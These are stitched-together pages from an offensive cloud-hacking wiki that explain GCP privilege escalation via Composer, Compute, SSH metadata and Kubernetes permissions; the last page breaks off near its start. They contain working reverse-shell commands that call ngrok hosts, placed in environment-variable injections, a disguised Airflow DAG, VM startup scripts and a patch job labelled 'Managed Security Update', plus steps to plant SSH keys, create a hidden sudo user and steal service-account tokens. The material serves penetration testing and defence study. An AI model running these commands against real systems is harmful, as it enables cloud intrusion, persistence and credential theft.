Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## composer
More info in:
{% content-ref url="../gcp-services/gcp-composer-enum.md" %}
[gcp-composer-enum.md](../gcp-services/gcp-composer-enum.md)
{% endcontent-ref %}
### `composer.environments.create`
It's possible to **attach any service account** to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
More info about the exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
### `composer.environments.update`
It's possible to update composer environment, for example, modifying env variables:
{% code overflow="wrap" %}
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>
# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
{% endcode %}
TODO: Get RCE by adding new pypi packages to the environment
### Download Dags
Check the source code of the dags being executed:
{% code overflow="wrap" %}
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```
{% endcode %}
### Import Dags
Add the python DAG code into a file and import it running:
{% code overflow="wrap" %}
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
{% endcode %}
Reverse shell DAG:
{% code title="reverse_shell.py" %}
```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from datetime import timedelta
default_args = {
'start_date': airflow.utils.dates.days_ago(0),
'retries': 1,
'retry_delay': timedelta(minutes=5)
}
dag = DAG(
'reverse_shell',
default_args=default_args,
description='liveness monitoring dag',
schedule_interval='*/10 * * * *',
max_active_runs=1,
catchup=False,
dagrun_timeout=timedelta(minutes=10),
)
# priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator(
task_id='bash_rev',
bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
dag=dag,
depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
{% endcode %}
### Write Access to the Composer bucket
All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
Get more info about this attack in:
{% content-ref url="gcp-storage-privesc.md" %}
[gcp-storage-privesc.md](gcp-storage-privesc.md)
{% endcontent-ref %}
### Import Plugins
TODO: Check what is possible to compromise by uploading plugins
### Import Data
TODO: Check what is possible to compromise by uploading data
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,163 @@
# GCP - Compute Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Compute
For more information about Compute and VPC (netowork) in GCP check:
{% content-ref url="../../gcp-services/gcp-compute-instances-enum/" %}
[gcp-compute-instances-enum](../../gcp-services/gcp-compute-instances-enum/)
{% endcontent-ref %}
{% hint style="danger" %}
Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
{% endhint %}
### `compute.projects.setCommonInstanceMetadata`
With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
Limitations:
* Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
* You will need to be **able to contact the SSH** server to login
For more information about how to exploit this permission check:
{% content-ref url="gcp-add-custom-ssh-metadata.md" %}
[gcp-add-custom-ssh-metadata.md](gcp-add-custom-ssh-metadata.md)
{% endcontent-ref %}
You could aslo perform this attack by adding new startup-script and rebooting the instance:
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`
This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**.
### `compute.instances.setIamPolicy`
This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them.
### **`compute.instances.osLogin`**
If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
{% hint style="success" %}
In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
{% endhint %}
### **`compute.instances.osAdminLogin`**
If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
{% hint style="success" %}
In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
{% endhint %}
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).
### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`
If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.
Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance.
If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
For a patch job run:
{% code overflow="wrap" %}
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
{% endcode %}
To deploy a patch deployment:
```bash
gcloud compute os-config patch-deployments create <name> ...
```
The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working).
**An attacker could also abuse this for persistence.**
### `compute.machineImages.setIamPolicy`
**Grant yourself extra permissions** to compute Image.
### `compute.snapshots.setIamPolicy`
**Grant yourself extra permissions** to a disk snapshot.
### `compute.disks.setIamPolicy`
**Grant yourself extra permissions** to a disk.
### Bypass Access Scopes
Following this link you find some [**ideas to try to bypass access scopes**](../).
### Local Privilege Escalation in GCP Compute instance
{% content-ref url="../gcp-local-privilege-escalation-ssh-pivoting.md" %}
[gcp-local-privilege-escalation-ssh-pivoting.md](../gcp-local-privilege-escalation-ssh-pivoting.md)
{% endcontent-ref %}
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,115 @@
# GCP - Add Custom SSH Metadata
## GCP - Add Custom SSH Metadata
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
#### **Incorporation of SSH Keys into Custom Metadata**
On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
#### **Add SSH key to existing privileged user**
1. **Examine Existing SSH Keys on the Instance:**
* Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```
* Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
2. **Prepare a Text File for SSH Key Metadata:**
* Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
3. **Generate a New SSH Key for the Target User (`alice` in this example):**
* Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```
* Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
4. **Update the Instance's SSH Key Metadata:**
* Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```
5. **Access the Instance Using the New SSH Key:**
* Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
```bash
ssh -i ./key alice@localhost
sudo id
```
#### **Create a new privileged user and add a SSH key**
If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
```bash
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
1. **Apply SSH Keys at the Project Level:**
* Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **SSH into Instances Using Project-Wide Keys:**
* With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
* A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
## References
* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,118 @@
# GCP - Container Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## container
### `container.clusters.get`
This permission allows to **gather credentials for the Kubernetes cluster** using something like:
```bash
gcloud container clusters get-credentials <cluster_name> --zone <zone>
```
Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
{% hint style="info" %}
Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
{% endhint %}
If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info. A new generated one looks like this:
```yaml
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMRENDQXBTZ0F3SUJBZ0lRRzNaQmJTSVlzeVRPR1FYODRyNDF3REFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlRMk9UQXhZVEZoWlMweE56ZGxMVFF5TkdZdE9HVmhOaTAzWVdFM01qVmhNR05tTkdFdwpJQmNOTWpJeE1qQTBNakl4T1RJMFdoZ1BNakExTWpFeE1qWXlNekU1TWpSYU1DOHhMVEFyQmdOVkJBTVRKRFk1Ck1ERmhNV0ZsTFRFM04yVXROREkwWmkwNFpXRTJMVGRoWVRjeU5XRXdZMlkwWVRDQ0FhSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0dQQURDQ0FZb0NnZ0dCQU00TWhGemJ3Y3VEQXhiNGt5WndrNEdGNXRHaTZmb0pydExUWkI4Rgo5TDM4a2V2SUVWTHpqVmtoSklpNllnSHg4SytBUHl4RHJQaEhXMk5PczFNMmpyUXJLSHV6M0dXUEtRUmtUWElRClBoMy9MMDVtbURwRGxQK3hKdzI2SFFqdkE2Zy84MFNLakZjRXdKRVhZbkNMMy8yaFBFMzdxN3hZbktwTWdKVWYKVnoxOVhwNEhvbURvOEhUN2JXUTJKWTVESVZPTWNpbDhkdDZQd3FUYmlLNjJoQzNRTHozNzNIbFZxaiszNy90RgpmMmVwUUdFOG90a0VVOFlHQ3FsRTdzaVllWEFqbUQ4bFZENVc5dk1RNXJ0TW8vRHBTVGNxRVZUSzJQWk1rc0hyCmMwbGVPTS9LeXhnaS93TlBRdW5oQ2hnRUJIZTVzRmNxdmRLQ1pmUFovZVI1Qk0vc0w1WFNmTE9sWWJLa2xFL1YKNFBLNHRMVmpiYVg1VU9zMUZIVXMrL3IyL1BKQ2hJTkRaVTV2VjU0L1c5NWk4RnJZaUpEYUVGN0pveXJvUGNuMwpmTmNjQ2x1eGpOY1NsZ01ISGZKRzZqb0FXLzB0b2U3ek05RHlQOFh3NW44Zm5lQm5aVTFnYXNKREZIYVlZbXpGCitoQzFETmVaWXNibWNxOGVPVG9LOFBKRjZ3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQWdRd0R3WUQKVlIwVEFRSC9CQVV3QXdFQi96QWRCZ05WSFE0RUZnUVU5UkhvQXlxY3RWSDVIcmhQZ1BjYzF6Sm9kWFV3RFFZSgpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFLbnp3VEx0QlJBVE1KRVB4TlBNbmU2UUNqZDJZTDgxcC9oeVc1eWpYb2w5CllkMTRRNFVlVUJJVXI0QmJadzl0LzRBQ3ZlYUttVENaRCswZ2wyNXVzNzB3VlFvZCtleVhEK2I1RFBwUUR3Z1gKbkJLcFFCY1NEMkpvZ29tT3M3U1lPdWVQUHNrODVvdWEwREpXLytQRkY1WU5ublc3Z1VLT2hNZEtKcnhuYUVGZAprVVl1TVdPT0d4U29qVndmNUsyOVNCbGJ5YXhDNS9tOWkxSUtXV2piWnZPN0s4TTlYLytkcDVSMVJobDZOSVNqCi91SmQ3TDF2R0crSjNlSjZneGs4U2g2L28yRnhxZWFNdDladWw4MFk4STBZaGxXVmlnSFMwZmVBUU1NSzUrNzkKNmozOWtTZHFBYlhPaUVOMzduOWp2dVlNN1ZvQzlNUk1oYUNyQVNhR2ZqWEhtQThCdlIyQW5iQThTVGpQKzlSMQp6VWRpK3dsZ0V4bnFvVFpBcUVHRktuUTlQcjZDaDYvR0xWWStqYXhuR3lyUHFPYlpNZTVXUDFOUGs4NkxHSlhCCjc1elFvanEyRUpxanBNSjgxT0gzSkxOeXRTdmt4UDFwYklxTzV4QUV0OWxRMjh4N28vbnRuaWh1WmR6M0lCRU8KODdjMDdPRGxYNUJQd0hIdzZtKzZjUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
server: https://34.123.141.28
name: gke_security-devbox_us-central1_autopilot-cluster-1
contexts:
- context:
cluster: gke_security-devbox_us-central1_autopilot-cluster-1
user: gke_security-devbox_us-central1_autopilot-cluster-1
name: gke_security-devbox_us-central1_autopilot-cluster-1
current-context: gke_security-devbox_us-central1_autopilot-cluster-1
kind: Config
preferences: {}
users:
- name: gke_security-devbox_us-central1_autopilot-cluster-1
user:
auth-provider:
config:
access-token: <access token>
cmd-args: config config-helper --format=json
cmd-path: gcloud
expiry: "2022-12-06T01:13:11Z"
expiry-key: '{.credential.token_expiry}'
token-key: '{.credential.access_token}'
name: gcp
```
### `container.roles.escalate` | `container.clusterRoles.escalate`
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour.
**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** respectively are **also** **necessary** to perform those privilege escalation actions.
### `container.roles.bind` | `container.clusterRoles.bind`
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour.
**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** respectively are also **necessary** to perform those privilege escalation actions.
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\
For more information check:
As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used).
### `container.secrets.get` | `container.secrets.list`
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
### `container.pods.exec`
With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**.
### `container.pods.portForward`
As **explained in this page**, with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.**
### `container.serviceAccounts.createToken`
Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it.
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,55 @@
# GCP - Deploymentmaneger Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
